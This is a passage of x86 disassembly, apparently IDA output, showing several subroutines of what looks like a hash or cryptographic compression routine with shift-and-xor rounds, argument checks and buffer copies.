		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 18h
		shl	edi, 18h
		xor	edi, ecx
		xor	ebx, edx
		mov	edx, [eax-10Ch]
		and	edx, [eax+14h]
		lea	ecx, [eax+80h]
		mov	[ebp+arg_4], ecx
		mov	ecx, [eax-110h]
		and	ecx, [eax+10h]
		mov	[eax+100h], edi
		mov	edi, [eax+60h]
		and	edi, [eax+78h]
		mov	[eax+104h], ebx
		mov	ebx, [eax+64h]
		and	ebx, esi
		mov	esi, [ebp+arg_4]
		xor	ecx, edi
		xor	ecx, [eax-1C0h]
		mov	edi, [esi]
		xor	edx, ebx
		xor	edx, [eax-1BCh]
		mov	esi, [esi+4]
		xor	ecx, edi
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		xor	edx, [ebp+var_8]
		mov	[ebp+var_30], esi
		mov	esi, ecx
		mov	ebx, edx
		shrd	esi, ebx, 0Dh
		xor	ecx, esi
		shr	ebx, 0Dh
		xor	edx, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	ebx, esi, 9
		xor	ebx, edx
		mov	edx, [eax-104h]
		and	edx, [eax+1Ch]
		shl	esi, 9
		xor	esi, ecx
		mov	ecx, [eax-108h]
		and	ecx, [eax+18h]
		mov	[eax+108h], esi
		mov	esi, [eax+68h]
		and	esi, edi
		mov	edi, [eax+6Ch]
		and	edi, [ebp+var_30]
		xor	ecx, esi
		xor	ecx, [eax-1B8h]
		mov	esi, [eax+88h]
		xor	edx, edi
		xor	edx, [eax-1B4h]
		xor	ecx, esi
		xor	edx, [eax+8Ch]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	[eax+10Ch], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ah
		xor	ecx, edi
		shr	ebx, 0Ah
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 10h
		shl	edi, 10h
		xor	edi, ecx
		mov	ecx, [eax-100h]
		and	ecx, [eax+20h]
		xor	ebx, edx
		mov	edx, [eax-0FCh]
		and	edx, [eax+24h]
		mov	[eax+110h], edi
		mov	edi, [eax+70h]
		and	edi, esi
		mov	esi, [eax+74h]
		and	esi, [eax+8Ch]
		xor	ecx, edi
		xor	ecx, [eax-1B0h]
		xor	edx, esi
		xor	edx, [eax-1ACh]
		mov	esi, [eax+90h]
		xor	edx, [eax+94h]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	[eax+114h], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Bh
		shr	ebx, 0Bh
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		shl	edi, 0Fh
		xor	edi, ecx
		xor	ebx, edx
		mov	[eax+118h], edi
		mov	edx, [eax-0F4h]
		and	edx, [eax+2Ch]
		mov	edi, [eax+94h]
		and	edi, [eax+7Ch]
		mov	ecx, [eax-0F8h]
		and	ecx, [eax+28h]
		and	esi, [eax+78h]
		xor	edx, edi
		xor	edx, [eax-1A4h]
		xor	ecx, esi
		xor	ecx, [eax-1A8h]
		xor	edx, [eax+9Ch]
		mov	esi, [eax+98h]
		xor	edx, [ebp+var_8]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		mov	[eax+11Ch], ebx
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ch
		xor	ecx, edi
		shr	ebx, 0Ch
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 9
		xor	ebx, edx
		mov	edx, [eax-0ECh]
		and	edx, [eax+34h]
		shl	edi, 9
		xor	edi, ecx
		mov	ecx, [eax-0F0h]
		and	ecx, [eax+30h]
		mov	[eax+124h], ebx
		mov	ebx, [ebp+arg_4]
		mov	[eax+120h], edi
		mov	edi, esi
		and	edi, [ebx]
		mov	ebx, [eax+9Ch]
		and	ebx, [ebp+var_30]
		xor	ecx, edi
		xor	ecx, [eax-1A0h]
		xor	edx, ebx
		xor	edx, [eax-19Ch]
		xor	ecx, [eax+0A0h]
		xor	edx, [eax+0A4h]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 2
		xor	ecx, edi
		shr	ebx, 2
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Bh
		xor	ebx, edx
		mov	edx, [eax-0E4h]
		and	edx, [eax+3Ch]
		shl	edi, 1Bh
		xor	edi, ecx
		mov	ecx, [eax-0E8h]
		and	ecx, [eax+38h]
		mov	[eax+128h], edi
		mov	edi, [eax+0A0h]
		and	edi, [eax+88h]
		mov	[eax+12Ch], ebx
		mov	ebx, [eax+0A4h]
		and	ebx, [eax+8Ch]
		xor	ecx, edi
		xor	ecx, [eax-198h]
		xor	edx, ebx
		xor	edx, [eax-194h]
		xor	ecx, [eax+0A8h]
		xor	edx, [eax+0ACh]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		xor	ebx, edx
		mov	edx, [eax-0DCh]
		and	edx, [eax+44h]
		shl	edi, 0Fh
		xor	edi, ecx
		mov	ecx, [eax+0B0h]
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+0B4h]
		mov	[ebp+var_10], ecx
		mov	ecx, [eax-0E0h]
		and	ecx, [eax+40h]
		mov	[eax+130h], edi
		mov	edi, [eax+0A8h]
		and	edi, [eax+90h]
		mov	[eax+134h], ebx
		mov	ebx, [eax+0ACh]
		and	ebx, [eax+94h]
		xor	ecx, edi
		xor	ecx, [eax-190h]
		xor	edx, ebx
		xor	edx, [eax-18Ch]
		xor	ecx, [ebp+var_14]
		xor	edx, [ebp+var_10]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Eh
		xor	ecx, edi
		shr	ebx, 0Eh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 6
		shl	edi, 6
		xor	edi, ecx
		mov	ecx, [eax-0D8h]
		and	ecx, [eax+48h]
		xor	ebx, edx
		mov	edx, [eax-0D4h]
		and	edx, [eax+4Ch]
		mov	[eax+138h], edi
		mov	edi, [ebp+var_14]
		and	edi, esi
		mov	esi, [ebp+var_10]
		and	esi, [eax+9Ch]
		xor	ecx, edi
		xor	ecx, [eax-188h]
		xor	edx, esi
		xor	edx, [eax-184h]
		xor	ecx, [eax+0B8h]
		xor	edx, [eax+0BCh]
		xor	ecx, [ebp+var_C]
		mov	esi, [ebp+var_8]
		mov	[eax+13Ch], ebx
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Fh
		xor	ecx, edi
		shr	ebx, 0Fh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 2
		shl	edi, 2
		xor	edi, ecx
		mov	ecx, [eax-0D0h]
		and	ecx, [eax+50h]
		xor	ebx, edx
		mov	edx, [eax-0CCh]
		and	edx, [eax+54h]
		mov	[eax+140h], edi
		mov	edi, [eax+0B8h]
		mov	[eax+144h], ebx
		and	edi, [eax+0A0h]
		mov	ebx, [eax+0BCh]
		and	ebx, [eax+0A4h]
		xor	ecx, edi
		xor	ecx, [eax-180h]
		xor	edx, ebx
		xor	edx, [eax-17Ch]
		xor	ecx, [eax+0C0h]
		xor	edx, [eax+0C4h]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Dh
		xor	ebx, edx
		mov	edx, [eax-0C4h]
		and	edx, [eax+5Ch]
		shl	edi, 1Dh
		xor	edi, ecx
		mov	ecx, [eax-0C8h]
		and	ecx, [eax+58h]
		mov	[eax+148h], edi
		mov	edi, [eax+0C0h]
		and	edi, [eax+0A8h]
		mov	[eax+14Ch], ebx
		mov	ebx, [eax+0C4h]
		and	ebx, [eax+0ACh]
		xor	ecx, edi
		xor	ecx, [eax-178h]
		xor	edx, ebx
		xor	edx, [eax-174h]
		xor	ecx, [eax+0C8h]
		xor	edx, [eax+0CCh]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Dh
		xor	ecx, edi
		shr	ebx, 0Dh
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 8
		shl	edi, 8
		xor	edi, ecx
		mov	ecx, [eax+0D0h]
		mov	[ebp+var_1C], ecx
		mov	ecx, [eax+0D4h]
		mov	[eax+150h], edi
		mov	edi, [ebp+var_14]
		and	edi, [eax+0C8h]
		xor	ebx, edx
		mov	edx, [eax-0BCh]
		and	edx, [eax+64h]
		mov	[ebp+var_18], ecx
		mov	ecx, [eax-0C0h]
		and	ecx, [eax+60h]
		mov	[ebp+var_3C], edi
		mov	edi, [ebp+var_10]
		and	edi, [eax+0CCh]
		xor	ecx, [ebp+var_3C]
		xor	edx, edi
		xor	ecx, [eax-170h]
		xor	edx, [eax-16Ch]
		xor	ecx, [ebp+var_1C]
		xor	edx, [ebp+var_18]
		xor	ecx, [ebp+var_C]
		mov	[eax+154h], ebx
		xor	edx, esi
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Bh
		shr	ebx, 0Bh
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Fh
		xor	ebx, edx
		mov	edx, [eax-0B4h]
		and	edx, [eax+6Ch]
		shl	edi, 0Fh
		xor	edi, ecx
		mov	ecx, [eax+0D8h]
		mov	[ebp+var_24], ecx
		mov	ecx, [eax+0DCh]
		mov	[eax+158h], edi
		mov	edi, [eax+0B8h]
		mov	[eax+15Ch], ebx
		mov	ebx, [ebp+var_1C]
		and	ebx, edi
		mov	edi, [ebp+var_18]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax-0B8h]
		and	ecx, [eax+68h]
		mov	[ebp+var_44], ebx
		xor	ecx, [ebp+var_44]
		mov	ebx, [eax+0BCh]
		xor	ecx, [eax-168h]
		and	edi, ebx
		xor	ecx, [ebp+var_24]
		xor	edx, edi
		xor	edx, [eax-164h]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_20]
		mov	edi, ecx
		xor	edx, esi
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 5
		xor	ebx, edx
		mov	edx, [eax-0ACh]
		and	edx, [eax+74h]
		shl	edi, 5
		xor	edi, ecx
		mov	ecx, [eax+0E0h]
		mov	[eax+160h], edi
		mov	edi, [eax+0C0h]
		mov	[eax+164h], ebx
		mov	ebx, [ebp+var_24]
		and	ebx, edi
		mov	edi, [ebp+var_20]
		mov	[ebp+var_2C], ecx
		mov	ecx, [eax+0E4h]
		mov	[ebp+var_28], ecx
		mov	ecx, [eax-0B0h]
		and	ecx, [eax+70h]
		mov	[ebp+var_4C], ebx
		xor	ecx, [ebp+var_4C]
		mov	ebx, [eax+0C4h]
		xor	ecx, [eax-160h]
		and	edi, ebx
		xor	ecx, [ebp+var_2C]
		xor	edx, edi
		xor	edx, [eax-15Ch]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_28]
		mov	edi, ecx
		xor	edx, esi
		mov	ebx, edx
		shrd	edi, ebx, 6
		shr	ebx, 6
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Fh
		shl	edi, 1Fh
		xor	edi, ecx
		xor	ebx, edx
		mov	ecx, [eax-0A8h]
		and	ecx, [eax+78h]
		mov	edx, [eax-0A4h]
		and	edx, [eax+7Ch]
		mov	[eax+168h], edi
		mov	edi, [eax+0C8h]
		mov	[eax+16Ch], ebx
		mov	ebx, [ebp+var_2C]
		and	ebx, edi
		mov	edi, [ebp+var_28]
		mov	[ebp+var_54], ebx
		mov	ebx, [eax+0CCh]
		xor	ecx, [ebp+var_54]
		and	edi, ebx
		xor	ecx, [eax-158h]
		xor	edx, edi
		xor	edx, [eax-154h]
		xor	ecx, [eax+0E8h]
		xor	edx, [eax+0ECh]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	ebx, edx
		mov	edi, ecx
		shrd	edi, ebx, 0Ch
		xor	ecx, edi
		shr	ebx, 0Ch
		xor	edx, ebx
		mov	ebx, edx
		mov	edi, ecx
		shld	ebx, edi, 9
		xor	ebx, edx
		shl	edi, 9
		xor	edi, ecx
		mov	[eax+170h], edi
		mov	[eax+174h], ebx
		mov	eax, [ebp+var_C]
		and	eax, 2425CFA0h
		mov	edx, esi
		shr	edx, 1Fh
		xor	eax, edx
		mov	edx, [ebp+var_C]
		mov	ecx, esi
		shld	esi, edx, 1
		and	ecx, 7311C281h
		xor	edi, edi
		shl	edx, 1
		xor	ecx, edi
		xor	eax, edx
		xor	ecx, esi
		dec	[ebp+var_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		jnz	loc_9B6C49
		pop	edi
		pop	esi
		pop	ebx

locret_9B73CA:				; CODE XREF: sub_9B6C14+1Cj
		leave
		retn
sub_9B6C14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B73CC(int,void *Src,int,void	*Val)

sub_9B73CC	proc near		; CODE XREF: sub_9B759C+123p

arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Val		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+Src], 0
		push	ebx
		push	edi
		mov	edi, [ebp+Val]
		mov	ebx, edi
		jnz	short loc_9B73E0
		push	9
		jmp	short loc_9B73E8
; ---------------------------------------------------------------------------


loc_9B73E0:				; CODE XREF: sub_9B73CC+Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_9B73EE
		push	0Fh


loc_9B73E8:				; CODE XREF: sub_9B73CC+12j
		pop	eax
		jmp	loc_9B7473
; ---------------------------------------------------------------------------


loc_9B73EE:				; CODE XREF: sub_9B73CC+18j
		push	esi
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jl	short loc_9B746F
		cmp	esi, 0FFh
		jg	short loc_9B746F
		test	edi, edi
		jnz	short loc_9B741F
		mov	eax, esi
		shl	eax, 4
		add	eax, 59h
		push	8		; SizeOfElements
		push	eax		; NumOfElements
		call	calloc
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_9B741F
		push	12h
		jmp	short loc_9B7471
; ---------------------------------------------------------------------------


loc_9B741F:				; CODE XREF: sub_9B73CC+34j
					; sub_9B73CC+4Dj
		push	2C8h		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	memcpy
		push	esi
		push	edi
		call	sub_9B6C14
		shl	esi, 7
		push	80h		; Size
		lea	eax, [esi+edi+248h]
		push	eax		; Src
		push	[ebp+arg_0]	; Dst
		call	memcpy
		add	esp, 20h
		test	ebx, ebx
		jnz	short loc_9B746B
		add	esi, 2C8h
		push	esi		; Size
		push	ebx		; Val
		push	edi		; Dst
		call	memset
		push	edi		; Memory
		call	free
		add	esp, 10h


loc_9B746B:				; CODE XREF: sub_9B73CC+85j
		xor	eax, eax
		jmp	short loc_9B7472
; ---------------------------------------------------------------------------


loc_9B746F:				; CODE XREF: sub_9B73CC+28j
					; sub_9B73CC+30j
		push	11h


loc_9B7471:				; CODE XREF: sub_9B73CC+51j
		pop	eax


loc_9B7472:				; CODE XREF: sub_9B73CC+A1j
		pop	esi


loc_9B7473:				; CODE XREF: sub_9B73CC+1Dj
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_9B73CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B7477	proc near		; CODE XREF: sub_9B74F1+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cdq
		shld	edx, eax, 8
		shl	eax, 8
		mov	ecx, eax
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, edx
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_8]
		or	esi, edx
		shld	esi, ecx, 4
		shl	ecx, 4
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_C]
		or	esi, edx
		shld	esi, ecx, 10h
		shl	ecx, 10h
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_10]
		or	esi, edx
		shld	esi, ecx, 8
		cdq
		shl	ecx, 8
		or	ecx, eax
		mov	eax, [ebp+arg_14]
		or	esi, edx
		shld	esi, ecx, 0Ch
		cdq
		shl	ecx, 0Ch
		or	ecx, eax
		or	esi, edx
		mov	edx, esi
		mov	eax, ecx
		pop	esi
		pop	ebp
		retn
sub_9B7477	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B74D5	proc near		; CODE XREF: sub_9B74F1+4Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cdq
		mov	ecx, eax
		mov	eax, [esp+arg_4]
		cdq
		push	esi
		xor	esi, esi
		shl	ecx, 18h
		or	esi, eax
		or	ecx, edx
		mov	eax, esi
		mov	edx, ecx
		pop	esi
		retn
sub_9B74D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B74F1	proc near		; CODE XREF: sub_9B759C+DBp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	0Fh
		pop	esi
		mov	eax, edi
		sub	ecx, edi
		mov	[ebp+arg_0], esi


loc_9B7509:				; CODE XREF: sub_9B74F1+2Aj
		mov	edx, [ecx+eax]
		mov	[eax], edx
		mov	edx, [ecx+eax+4]
		mov	[eax+4], edx
		add	eax, 8
		dec	[ebp+arg_0]
		jnz	short loc_9B7509
		mov	ecx, [ebp+arg_8]
		xor	eax, eax


loc_9B7522:				; CODE XREF: sub_9B74F1+44j
		mov	edx, [ecx+eax*8]
		mov	[edi+esi*8], edx
		mov	edx, [ecx+eax*8+4]
		mov	[edi+esi*8+4], edx
		inc	esi
		inc	eax
		cmp	eax, 8
		jl	short loc_9B7522
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	sub_9B74D5
		mov	[ebp+Src], eax
		push	8		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [edi+esi*8]
		push	eax		; Dst
		mov	[ebp+var_4], edx
		call	memcpy
		push	[ebp+arg_28]
		inc	esi
		push	[ebp+arg_24]
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		call	sub_9B7477
		mov	[ebp+var_10], eax
		push	8		; Size
		lea	eax, [ebp+var_10]
		push	eax		; Src
		lea	esi, [edi+esi*8]
		push	esi		; Dst
		mov	[ebp+var_C], edx
		call	memcpy
		push	200h		; Size
		push	[ebp+arg_2C]	; Src
		add	esi, 8
		push	esi		; Dst
		call	memcpy
		add	esp, 44h
		pop	edi
		pop	esi
		leave
		retn
sub_9B74F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B759C	proc near		; CODE XREF: sub_9B7937+BEp

Val		= byte ptr -9F08h
Src		= byte ptr -2C8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		mov	eax, 9F08h
		call	__alloca_probe
		xor	ecx, ecx
		cmp	[ebp+arg_0], ecx
		push	esi
		push	edi
		jnz	short loc_9B75B6
		push	0Fh
		jmp	short loc_9B75BD
; ---------------------------------------------------------------------------


loc_9B75B6:				; CODE XREF: sub_9B759C+14j
		cmp	[ebp+arg_2C], ecx
		jnz	short loc_9B75C3
		push	0Ah


loc_9B75BD:				; CODE XREF: sub_9B759C+18j
		pop	eax
		jmp	loc_9B76D5
; ---------------------------------------------------------------------------


loc_9B75C3:				; CODE XREF: sub_9B759C+1Dj
		xor	edx, edx
		mov	eax, 0FFh
		cmp	[ebp+arg_14], eax
		push	ebx
		setnle	dl
		xor	ebx, ebx
		cmp	[ebp+arg_14], ecx
		setl	bl
		or	edx, ebx
		jz	short loc_9B75E4
		push	11h
		jmp	loc_9B76D3
; ---------------------------------------------------------------------------


loc_9B75E4:				; CODE XREF: sub_9B759C+3Fj
		xor	edx, edx
		cmp	[ebp+arg_18], eax
		setnle	dl
		xor	ebx, ebx
		cmp	[ebp+arg_18], ecx
		setl	bl
		or	edx, ebx
		jz	short loc_9B75FF
		push	10h
		jmp	loc_9B76D3
; ---------------------------------------------------------------------------


loc_9B75FF:				; CODE XREF: sub_9B759C+5Aj
		mov	ebx, [ebp+arg_C]
		cmp	ebx, ecx
		jl	loc_9B76D1
		cmp	ebx, eax
		jg	loc_9B76D1
		mov	edi, [ebp+arg_20]
		cmp	edi, ecx
		jl	loc_9B76CD
		cmp	edi, 1000h
		jg	loc_9B76CD
		mov	esi, [ebp+arg_28]
		cmp	esi, ecx
		jle	loc_9B76C9
		cmp	esi, 200h
		jg	loc_9B76C9
		cmp	[ebp+arg_8], ecx
		jnz	short loc_9B764C
		push	0Dh
		jmp	loc_9B76D3
; ---------------------------------------------------------------------------


loc_9B764C:				; CODE XREF: sub_9B759C+A7j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_9B7655
		push	0Eh
		jmp	short loc_9B76D3
; ---------------------------------------------------------------------------


loc_9B7655:				; CODE XREF: sub_9B759C+B3j
		push	[ebp+arg_2C]
		lea	eax, [ebp+Src]
		push	esi
		push	[ebp+arg_24]
		push	edi
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_9B74F1
		mov	eax, dword_9BB334
		add	esp, 30h
		test	eax, eax
		jz	short loc_9B76AB
		push	[ebp+arg_2C]
		push	esi
		push	[ebp+arg_24]
		push	edi
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		add	esp, 30h


loc_9B76AB:				; CODE XREF: sub_9B759C+EAj
		lea	eax, [ebp+Val]
		push	eax		; Val
		push	[ebp+arg_14]	; int
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	[ebp+arg_0]	; int
		call	sub_9B73CC
		add	esp, 10h
		jmp	short loc_9B76D4
; ---------------------------------------------------------------------------


loc_9B76C9:				; CODE XREF: sub_9B759C+92j
					; sub_9B759C+9Ej
		push	2
		jmp	short loc_9B76D3
; ---------------------------------------------------------------------------


loc_9B76CD:				; CODE XREF: sub_9B759C+7Bj
					; sub_9B759C+87j
		push	0Ch
		jmp	short loc_9B76D3
; ---------------------------------------------------------------------------


loc_9B76D1:				; CODE XREF: sub_9B759C+68j
					; sub_9B759C+70j
		push	0Bh


loc_9B76D3:				; CODE XREF: sub_9B759C+43j
					; sub_9B759C+5Ej ...
		pop	eax


loc_9B76D4:				; CODE XREF: sub_9B759C+12Bj
		pop	ebx


loc_9B76D5:				; CODE XREF: sub_9B759C+22j
		pop	edi
		pop	esi
		leave
		retn
sub_9B759C	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B76D9	proc near		; CODE XREF: sub_9B774C+1Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edx, edx
		or	edx, esi
		xor	ecx, ecx
		or	eax, ecx
		mov	ebx, edx
		mov	esi, edx
		mov	edi, eax
		shld	ebx, edi, 10h
		mov	ecx, eax
		shrd	ecx, esi, 10h
		shld	edx, eax, 10h
		shl	edi, 10h
		xor	ecx, edi
		shr	esi, 10h
		xor	esi, ebx
		shl	eax, 10h
		mov	edi, 0FFFFh
		and	esi, edi
		and	ecx, edi
		xor	esi, edx
		xor	ecx, eax
		mov	ebx, esi
		mov	edx, esi
		mov	edi, ecx
		shld	ebx, edi, 8
		mov	eax, ecx
		shrd	eax, edx, 8
		shl	edi, 8
		shr	edx, 8
		xor	eax, edi
		shld	esi, ecx, 8
		xor	edx, ebx
		mov	edi, 0FF00FFh
		and	eax, edi
		and	edx, edi
		pop	edi
		xor	edx, esi
		shl	ecx, 8
		pop	esi
		xor	eax, ecx
		pop	ebx
		retn
sub_9B76D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B774C	proc near		; CODE XREF: sub_9B7937+6Ap
					; sub_9B7DEE+62p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_9BADF8, 1
		jnz	short locret_9B7780
		push	edi
		xor	edi, edi
		cmp	[esp+4+arg_4], edi
		jle	short loc_9B777F
		push	esi


loc_9B775F:				; CODE XREF: sub_9B774C+30j
		mov	eax, [esp+8+arg_0]
		lea	esi, [eax+edi*8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_9B76D9
		inc	edi
		cmp	edi, [esp+10h+arg_4]
		pop	ecx
		pop	ecx
		mov	[esi], eax
		mov	[esi+4], edx
		jl	short loc_9B775F
		pop	esi


loc_9B777F:				; CODE XREF: sub_9B774C+10j
		pop	edi

locret_9B7780:				; CODE XREF: sub_9B774C+7j
		retn
sub_9B774C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B7781	proc near		; CODE XREF: sub_9B7B7B+BCp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	edi, [ebp+arg_C]
		xor	edx, edx
		cmp	edi, edx
		jz	loc_9B789B
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	ecx, 7
		push	ebx
		push	esi
		mov	[ebp+var_4], edx
		jz	short loc_9B77BF
		mov	ebx, [ebp+arg_0]
		mov	edx, ecx
		mov	esi, eax
		shr	esi, 3
		mov	bl, [esi+ebx]
		mov	cl, 8
		sub	cl, dl
		shr	bl, cl
		movzx	cx, bl
		mov	word ptr [ebp+var_4], cx


loc_9B77BF:				; CODE XREF: sub_9B7781+21j
		add	edi, 7
		shr	eax, 3
		shr	edi, 3
		xor	esi, esi
		test	edi, edi
		mov	[ebp+var_C], eax
		jle	loc_9B7899
		lea	eax, [edi-1]


loc_9B77D8:				; CODE XREF: sub_9B7781+112j
		cmp	esi, eax
		jz	short loc_9B77F0
		mov	eax, [ebp+arg_8]
		movzx	ax, byte ptr [esi+eax]
		xor	ecx, ecx
		mov	ch, byte ptr [ebp+var_4]
		xor	eax, ecx
		add	edx, 8
		jmp	short loc_9B7820
; ---------------------------------------------------------------------------


loc_9B77F0:				; CODE XREF: sub_9B7781+59j
		mov	eax, [ebp+arg_C]
		and	eax, 7
		mov	[ebp+var_8], 8
		jz	short loc_9B7802
		mov	[ebp+var_8], eax


loc_9B7802:				; CODE XREF: sub_9B7781+7Cj
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [esi+eax]
		mov	ebx, [ebp+var_4]
		mov	cl, 8
		sub	cl, byte ptr [ebp+var_8]
		shr	al, cl
		mov	ecx, [ebp+var_8]
		shl	ebx, cl
		movzx	ax, al
		or	eax, ebx
		add	edx, ecx


loc_9B7820:				; CODE XREF: sub_9B7781+6Dj
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		lea	eax, [edi-1]
		cmp	esi, eax
		setnz	cl
		mov	[ebp+var_10], ecx


loc_9B7830:				; CODE XREF: sub_9B7781+10Dj
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		cmp	edx, 8
		setnl	al
		test	eax, ecx
		jnz	short loc_9B7854
		xor	ecx, ecx
		lea	eax, [edi-1]
		cmp	esi, eax
		setz	cl
		xor	ebx, ebx
		test	edx, edx
		setnle	bl
		test	ecx, ebx
		jz	short loc_9B7890


loc_9B7854:				; CODE XREF: sub_9B7781+BCj
		push	8
